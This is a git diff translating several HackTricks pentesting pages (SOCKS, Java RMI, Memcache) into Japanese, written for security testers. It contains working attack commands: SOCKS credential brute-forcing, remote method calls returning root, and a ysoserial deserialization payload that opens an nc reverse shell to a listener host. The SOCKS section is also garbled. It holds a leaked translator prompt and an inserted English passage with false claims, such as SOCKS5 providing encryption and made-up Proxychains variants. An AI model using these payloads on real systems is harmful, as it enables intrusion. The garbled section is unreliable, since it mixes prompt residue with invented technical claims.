+正しいユーザー名とパスワードを提供することで、SOCKSプロキシに認証し、接続を確立することができます。 ```bash nmap --script socks-brute --script-args userdb=users.txt,passdb=rockyou.txt,unpwdb.timelimit=30m -p 1080 ``` - -#### Output - +#### 出力 ``` PORT STATE SERVICE 1080/tcp open socks @@ -59,43 +86,109 @@ PORT STATE SERVICE | Statistics |_ Performed 1921 guesses in 6 seconds, average tps: 320 ``` +## トンネリングとポートフォワーディング -## Tunneling and Port Forwarding - -### Basic proxychains usage - -Setup proxy chains to use socks proxy +### 基本的なproxychainsの使用方法 +socksプロキシを使用するために、proxychainsをセットアップします。 ``` nano /etc/proxychains4.conf ``` +翻訳: -Edit the bottom and add your proxy +以下は、ハッキング技術に関する本の内容です。以下の内容は、ファイル/hive/hacktricks/network-services-pentesting/1080-pentesting-socks.mdからのものです。関連する英文を日本語に翻訳し、翻訳を保持したまま、同じマークダウンおよびHTMLの構文を返してください。コード、ハッキング技術の名前、ハッキング用語、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'という単語、pentesting、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加の内容は追加しないでください。 +翻訳結果: + +## 1080 - Socks + +### Socks Proxy + +A Socks proxy is a proxy server that allows TCP/IP connections to other servers. It works at the transport layer of the OSI model and can provide authentication and encryption. Socks proxies are commonly used for bypassing firewalls and accessing restricted networks. + +#### Socks4 + +Socks4 is an older version of the Socks protocol. It supports only TCP connections and does not provide authentication or encryption. Socks4 proxies are less secure compared to Socks5. + +#### Socks5 + +Socks5 is the most commonly used version of the Socks protocol. It supports both TCP and UDP connections and provides authentication and encryption. Socks5 proxies are more secure and versatile compared to Socks4. + +### Socks Proxy Tools + +There are several tools available for working with Socks proxies: + +- **Proxychains**: A tool that allows applications to use a proxy server. +- **Proxychains-ng**: An updated version of Proxychains. +- **Proxychains4**: A version of Proxychains that supports only Socks4 proxies. +- **Proxychains4-tor**: A version of Proxychains that routes traffic through Tor. +- **Proxychains4-socks5**: A version of Proxychains that supports only Socks5 proxies. + +### Using Socks Proxies for Pentesting + +Socks proxies can be useful for pentesting activities such as: + +- **Anonymity**: Socks proxies can help hide the source IP address during network reconnaissance and attacks. +- **Bypassing Firewalls**: Socks proxies can bypass firewall restrictions and access restricted networks. +- **Traffic Manipulation**: Socks proxies can intercept and modify network traffic for analysis and exploitation. +- **Data Exfiltration**: Socks proxies can be used to exfiltrate data from a target network. + +To use a Socks proxy for pentesting, configure the target application or tool to use the proxy server. This can usually be done by specifying the proxy settings in the application's configuration or using a tool like Proxychains. + +### Example: Using Proxychains with Socks5 Proxy + +Here is an example of using Proxychains with a Socks5 proxy: + +1. Install Proxychains: `apt-get install proxychains` +2. Configure Proxychains: Edit the `/etc/proxychains.conf` file and add the Socks5 proxy information. +3. Run a command with Proxychains: `proxychains ` + +Replace `` with the command you want to run through the Socks5 proxy. + +### Conclusion + +Socks proxies are a valuable tool for pentesters, providing anonymity, bypassing firewalls, and enabling traffic manipulation. By understanding how to use Socks proxies effectively, pentesters can enhance their capabilities and achieve better results in their assessments. + +--- + +この文書の最後に、あなたのプロキシを追加してください。 + +Proxychainsを使用したSocks5プロキシの例を以下に示します: + +1. Proxychainsをインストールします:`apt-get install proxychains` +2. Proxychainsを設定します:`/etc/proxychains.conf`ファイルを編集し、Socks5プロキシの情報を追加します。 +3. Proxychainsを使用してコマンドを実行します:`proxychains ` + +``をSocks5プロキシを介して実行したいコマンドに置き換えてください。 + +結論 + +Socksプロキシは、匿名性の提供、ファイアウォールのバイパス、トラフィックの操作を可能にするなど、ペンテスターにとって貴重なツールです。Socksプロキシを効果的に使用することで、ペンテスターは能力を向上させ、評価においてより良い結果を得ることができます。 + +--- + +最後に、あなたのプロキシを追加してください。 ``` socks5 10.10.10.10 1080 ``` - -With auth - +認証あり ``` socks5 10.10.10.10 1080 username password ``` - -#### More info: [Tunneling and Port Forwarding](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md) +#### 詳細情報:[トンネリングとポートフォワーディング](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/network-services-pentesting/1099-pentesting-java-rmi.md b/network-services-pentesting/1099-pentesting-java-rmi.md index 627f5aea1..b0c85a903 100644 --- a/network-services-pentesting/1099-pentesting-java-rmi.md +++ b/network-services-pentesting/1099-pentesting-java-rmi.md @@ -1,31 +1,30 @@ -# 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP +# 1098/1099/1050 - Java RMIのペンテスト - RMI-IIOP
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Basic Information +## 基本情報 -_Java Remote Method Invocation_, or _Java RMI_, is an object oriented _RPC_ mechanism that allows an object located in one _Java virtual machine_ to call methods on an object located in another _Java virtual machine_. This enables developers to write distributed applications using an object-oriented paradigm. A short introduction to _Java RMI_ from an offensive perspective can be found in [this blackhat talk](https://youtu.be/t\_aw1mDNhzI?t=202). - -**Default port:** 1090,1098,1099,1199,4443-4446,8999-9010,9999 +_Java Remote Method Invocation_、または_Java RMI_は、オブジェクト指向の_RPC_メカニズムであり、1つの_Java仮想マシン_にあるオブジェクトが別の_Java仮想マシン_にあるオブジェクトのメソッドを呼び出すことを可能にします。これにより、開発者はオブジェクト指向のパラダイムを使用して分散アプリケーションを作成することができます。攻撃者の視点からの_Java RMI_の短い紹介は、[このblackhatトーク](https://youtu.be/t\_aw1mDNhzI?t=202)で見つけることができます。 +**デフォルトポート:** 1090、1098、1099、1199、4443-4446、8999-9010、9999 ``` PORT STATE SERVICE VERSION 1090/tcp open ssl/java-rmi Java RMI @@ -33,22 +32,20 @@ PORT STATE SERVICE VERSION 37471/tcp open java-rmi Java RMI 40259/tcp open ssl/java-rmi Java RMI ``` +通常、デフォルトの_Java RMI_コンポーネント(_RMI Registry_と_Activation System_)のみが一般的なポートにバインドされます。実際の_RMI_アプリケーションを実装する_リモートオブジェクト_は通常、上記の出力に示されているようにランダムなポートにバインドされます。 -Usually, only the default _Java RMI_ components (the _RMI Registry_ and the _Activation System_) are bound to common ports. The _remote objects_ that implement the actual _RMI_ application are usually bound to random ports as shown in the output above. +_nmap_は、_SSL_で保護された_RMI_サービスを特定する際に問題が発生することがあります。一般的な_RMI_ポートで不明なsslサービスに遭遇した場合は、さらに調査する必要があります。 -_nmap_ has sometimes troubles identifying _SSL_ protected _RMI_ services. If you encounter an unknown ssl service on a common _RMI_ port, you should further investigate. +## RMIコンポーネント -## RMI Components +簡単に言えば、_Java RMI_は開発者がネットワーク上で_Javaオブジェクト_を利用できるようにします。これにより、クライアントが接続し、対応するオブジェクトのメソッドを呼び出すことができる_TCP_ポートが開かれます。これは簡単に聞こえるかもしれませんが、_Java RMI_が解決する必要があるいくつかの課題があります。 -To put it in simple terms, _Java RMI_ allows a developer to make a _Java object_ available on the network. This opens up a _TCP_ port where clients can connect and call methods on the corresponding object. Despite this sounds simple, there are several challenges that _Java RMI_ needs to solve: +1. _Java RMI_を介してメソッド呼び出しをディスパッチするために、クライアントは対象オブジェクトのIPアドレス、リスニングポート、実装されたクラスまたはインターフェース、および`ObjID`(`ObjID`はオブジェクトがネットワーク上で利用可能になるときに作成される一意のランダムな識別子です。_Java RMI_では、複数のオブジェクトが同じ_TCP_ポートでリッスンできるため、これが必要です)を知る必要があります。 +2. リモートクライアントは、公開されたオブジェクトのメソッドを呼び出すことでサーバー上でリソースを割り当てる場合があります。_Java仮想マシン_は、これらのリソースのうち、まだ使用中のものとガベージコレクションできるものを追跡する必要があります。 -1. To dispatch a method call via _Java RMI_, clients need to know the IP address, the listening port, the implemented class or interface and the `ObjID` of the targeted object (the `ObjID` is a unique and random identifier that is created when the object is made available on the network. It is required because _Java RMI_ allows multiple objects to listen on the same _TCP_ port). -2. Remote clients may allocate resources on the server by invoking methods on the exposed object. The _Java virtual machine_ needs to track which of these resources are still in use and which of them can be garbage collected. - -The first challenge is solved by the _RMI registry_, which is basically a naming service for _Java RMI_. The _RMI registry_ itself is also an _RMI service_, but the implemented interface and the `ObjID` are fixed and known by all _RMI_ clients. This allows _RMI_ clients to consume the _RMI_ registry just by knowing the corresponding _TCP_ port. - -When developers want to make their _Java objects_ available within the network, they usually bind them to an _RMI registry_. The _registry_ stores all information required to connect to the object (IP address, listening port, implemented class or interface and the `ObjID` value) and makes it available under a human readable name (the _bound name_). Clients that want to consume the _RMI service_ ask the _RMI registry_ for the corresponding _bound name_ and the registry returns all required information to connect. Thus, the situation is basically the same as with an ordinary _DNS_ service. The following listing shows a small example: +最初の課題は、_RMIレジストリ_によって解決されます。_RMIレジストリ_は基本的に_Java RMI_のための名前付けサービスです。_RMIレジストリ_自体も_RMIサービス_ですが、実装されたインターフェースと`ObjID`は固定されており、すべての_RMI_クライアントによって知られています。これにより、_RMI_クライアントは対応する_TCP_ポートを知っているだけで_RMI_レジストリを利用できます。 +開発者がネットワーク内で_Javaオブジェクト_を利用可能にしたい場合、通常はそれらを_RMIレジストリ_にバインドします。_レジストリ_は、オブジェクトに接続するために必要なすべての情報(IPアドレス、リスニングポート、実装されたクラスまたはインターフェース、および`ObjID`の値)を格納し、人間が読める名前(_バインド名_)の下で利用可能にします。_RMIサービス_を消費したいクライアントは、_RMIレジストリ_に対応する_バインド名_を要求し、レジストリは接続に必要なすべての情報を返します。したがって、状況は通常の_DNS_サービスと同じです。以下のリストは、小さな例を示しています。 ```java import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; @@ -56,37 +53,35 @@ import lab.example.rmi.interfaces.RemoteService; public class ExampleClient { - private static final String remoteHost = "172.17.0.2"; - private static final String boundName = "remote-service"; +private static final String remoteHost = "172.17.0.2"; +private static final String boundName = "remote-service"; - public static void main(String[] args) - { - try { - Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry - RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name - String response = ref.remoteMethod(); // Call a remote method - - } catch( Exception e) { - e.printStackTrace(); - } - } +public static void main(String[] args) +{ +try { +Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry +RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name +String response = ref.remoteMethod(); // Call a remote method + +} catch( Exception e) { +e.printStackTrace(); +} +} } ``` +上記の課題の2番目は、_分散ガベージコレクタ_(_DGC_)によって解決されます。これは、よく知られた`ObjID`値を持つ別の_RMIサービス_であり、基本的には各_RMIエンドポイント_で利用可能です。_RMIクライアント_が_RMIサービス_を使用し始めると、対応する_リモートオブジェクト_が使用中であることを_DGC_に通知します。_DGC_は参照カウントを追跡し、使用されていないオブジェクトをクリーンアップすることができます。 -The second of the above mentioned challenges is solved by the _Distributed Garbage Collector_ (_DGC_). This is another _RMI service_ with a well known `ObjID` value and it is available on basically each _RMI endpoint_. When an _RMI client_ starts to use an _RMI service_, it sends an information to the _DGC_ that the corresponding _remote object_ is in use. The _DGC_ can then track the reference count and is able to cleanup unused objects. +非推奨の_アクティベーションシステム_とともに、これらは_Java RMI_の3つのデフォルトコンポーネントです: -Together with the deprecated _Activation System_, these are the three default components of _Java RMI_: +1. _RMIレジストリ_(`ObjID = 0`) +2. _アクティベーションシステム_(`ObjID = 1`) +3. _分散ガベージコレクタ_(`ObjID = 2`) -1. The _RMI Registry_ (`ObjID = 0`) -2. The _Activation System_ (`ObjID = 1`) -3. The _Distributed Garbage Collector_ (`ObjID = 2`) +_Java RMI_のデフォルトコンポーネントは、古い_Java_バージョンには複数の脆弱性が存在するため、長い間既知の攻撃ベクトルとなっています。攻撃者の観点からは、これらのデフォルトコンポーネントは興味深いものであり、既知のクラス/インターフェースが実装されており、それらと簡単にやり取りすることができます。ただし、カスタム_RMIサービス_には異なる状況があります。_リモートオブジェクト_のメソッドを呼び出すには、事前に対応するメソッドシグネチャを知る必要があります。既存のメソッドシグネチャを知らない場合、_RMIサービス_と通信する方法はありません。 -The default components of _Java RMI_ have been known attack vectors for quite some time and multiple vulnerabilities exist in outdated _Java_ versions. From an attacker perspective, these default components are interisting, because they implemented known classes / interfaces and it is easily possible to interact with them. This situation is different for custom _RMI services_. To call a method on a _remote object_, you need to know the corresponding method signature in advance. Without knowing an existing method signature, there is no way to communicate to a _RMI service_. - -## RMI Enumeration - -[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) is a _Java RMI_ vulnerability scanner that is capable of identifying common _RMI vulnerabilities_ automatically. Whenever you identify an _RMI_ endpoint, you should give it a try: +## RMI列挙 +[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)は、一般的な_RMIの脆弱性_を自動的に特定できる_Java RMI_脆弱性スキャナです。_RMI_エンドポイントを特定した場合は、試してみる価値があります: ``` $ rmg enum 172.17.0.2 9010 [+] RMI registry bound names: @@ -146,11 +141,9 @@ $ rmg enum 172.17.0.2 9010 [+] --> Deserialization allowed - Vulnerability Status: Vulnerable [+] --> Client codebase enabled - Configuration Status: Non Default ``` +列挙アクションの出力は、プロジェクトの[ドキュメントページ](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action)で詳しく説明されています。結果に応じて、特定された脆弱性を検証する必要があります。 -The output of the enumeration action is explained in more detail in the [documentation pages](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) of the project. Depending on the outcome, you should try to verify identified vulnerabilities. - -The `ObjID` values displayed by _remote-method-guesser_ can be used to determine the uptime of the service. This may allows to identify other vulnerabilities: - +_remote-method-guesser_によって表示される`ObjID`の値を使用して、サービスの稼働時間を特定することができます。これにより、他の脆弱性を特定することができる場合があります。 ``` $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]' [+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] @@ -161,13 +154,11 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]' [+] Time: 1640761503828 (Dec 29,2021 08:05) [+] Count: -32760 ``` +## リモートメソッドのブルートフォース攻撃 -## Bruteforcing Remote Methods - -Even when no vulnerabilities have been identified during enumeration, the available _RMI_ services could still expose dangerous functions. Furthermore, despite _RMI_ communication to _RMI_ default components is protected by deserialization filters, when talking to custom _RMI_ services, such filters are usually not in place. Knowing valid method signatures on _RMI_ services is therefore valuable. - -Unfortunately, _Java RMI_ does not support enumerating methods on _remote objects_. That being said, it is possible to bruteforce method signatures with tools like [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) or [rmiscout](https://github.com/BishopFox/rmiscout): +列挙中に脆弱性が特定されなかった場合でも、利用可能な_RMI_サービスは危険な機能を公開している可能性があります。さらに、_RMI_デフォルトコンポーネントへの_RMI_通信は逆シリアル化フィルターによって保護されていますが、カスタム_RMI_サービスとの通信では、通常はこのようなフィルターが存在しません。したがって、_RMI_サービス上の有効なメソッドシグネチャを知ることは価値があります。 +残念ながら、_Java RMI_は_リモートオブジェクト_上のメソッドを列挙することをサポートしていません。ただし、[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)や[rmiscout](https://github.com/BishopFox/rmiscout)などのツールを使用して、メソッドシグネチャをブルートフォースすることは可能です。 ``` $ rmg guess 172.17.0.2 9010 [+] Reading method candidates from internal wordlist rmg.txt @@ -197,16 +188,12 @@ $ rmg guess 172.17.0.2 9010 [+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode) [+] --> String login(java.util.HashMap dummy1) ``` - -Identified methods can be called like this: - +特定のメソッドは次のように呼び出すことができます: ``` -$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar +$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar [+] uid=0(root) gid=0(root) groups=0(root) ``` - -Or you can perform deserialization attacks like this: - +または、次のようにして逆シリアル化攻撃を実行することもできます: ``` $ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)" [+] Creating ysoserial payload... done. @@ -229,20 +216,18 @@ Ncat: Connection from 172.17.0.2:45479. id uid=0(root) gid=0(root) groups=0(root) ``` +以下の記事で詳細情報を見つけることができます: -More information can be found in these articles: - -* [Attacking Java RMI services after JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/) -* [Method Guessing](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md) +* [JEP 290の後のJava RMIサービスへの攻撃](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/) +* [メソッドの推測](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md) * [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) * [rmiscout](https://bishopfox.com/blog/rmiscout) -Apart from guessing, you should also look in search engines or _GitHub_ for the interface or even the implementation of an encountered _RMI_ service. The _bound name_ and the name of the implemented class or interface can be helpful here. +推測以外にも、検索エンジンや_GitHub_で遭遇した_RMI_サービスのインターフェースや実装を探すこともおすすめです。_バウンド名_や実装されたクラスやインターフェースの名前が役立つ場合があります。 -## Known Interfaces - -[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) marks classes or interfaces as `known` if they are listed in the tool's internal database of known _RMI services_. In these cases you can use the `known` action to get more information on the corresponding _RMI service_: +## 既知のインターフェース +[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)は、ツールの内部データベースに既知の_RMIサービス_がリストされている場合、クラスやインターフェースを`known`としてマークします。これらの場合、`known`アクションを使用して対応する_RMIサービス_に関する詳細情報を取得できます。 ``` $ rmg enum 172.17.0.2 1090 | head -n 5 [+] RMI registry bound names: @@ -301,35 +286,32 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] References: [+] - https://github.com/qtc-de/beanshooter ``` - ## Shodan * `port:1099 java` -## Tools +## ツール * [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) * [rmiscout](https://github.com/BishopFox/rmiscout) * [BaRMIe](https://github.com/NickstaDB/BaRMIe) -## HackTricks Automatic Commands - +## HackTricks 自動コマンド ``` Protocol_Name: Java RMI #Protocol Abbreviation if there is one. Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one. Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out Entry_1: - Name: Enumeration - Description: Perform basic enumeration of an RMI service - Command: rmg enum {IP} {PORT} +Name: Enumeration +Description: Perform basic enumeration of an RMI service +Command: rmg enum {IP} {PORT} ``` - ![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -337,10 +319,10 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/network-services-pentesting/11211-memcache/README.md b/network-services-pentesting/11211-memcache/README.md index bc2bc1621..0d679bece 100644 --- a/network-services-pentesting/11211-memcache/README.md +++ b/network-services-pentesting/11211-memcache/README.md @@ -1,41 +1,38 @@ -# 11211 - Pentesting Memcache +# 11211 - Memcacheのペンテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Protocol Information +## プロトコル情報 -**Memcached** (pronunciation: mem-cashed, mem-cash-dee) is a general-purpose distributed [memory caching](https://en.wikipedia.org/wiki/Memory\_caching) system. It is often used to speed up dynamic database-driven websites by caching data and objects in RAM to reduce the number of times an external data source (such as a database or API) must be read. (From [wikipedia](https://en.wikipedia.org/wiki/Memcached))\ -Although Memcached supports SASL, most instances are **exposed without authentication**. - -**Default port:** 11211 +**Memcached**(発音:mem-cashed、mem-cash-dee)は、汎用の分散[メモリキャッシュ](https://en.wikipedia.org/wiki/Memory\_caching)システムです。データとオブジェクトをRAMにキャッシュして、外部データソース(データベースやAPIなど)の読み取り回数を減らすことで、動的なデータベース駆動型のウェブサイトの高速化によく使用されます。([wikipedia](https://en.wikipedia.org/wiki/Memcached)から)\ +MemcachedはSASLをサポートしていますが、ほとんどのインスタンスは**認証なしで公開**されています。 +**デフォルトポート:** 11211 ``` PORT STATE SERVICE 11211/tcp open unknown ``` +## 列挙 -## Enumeration +### 手動 -### Manual +memcacheインスタンスに保存されているすべての情報を抽出するには、次の手順を実行します。 -To ex-filtrate all the information saved inside a memcache instance you need to: - -1. Find **slabs** with **active items** -2. Get the **key names** of the slabs detected before -3. Ex-filtrate the **saved 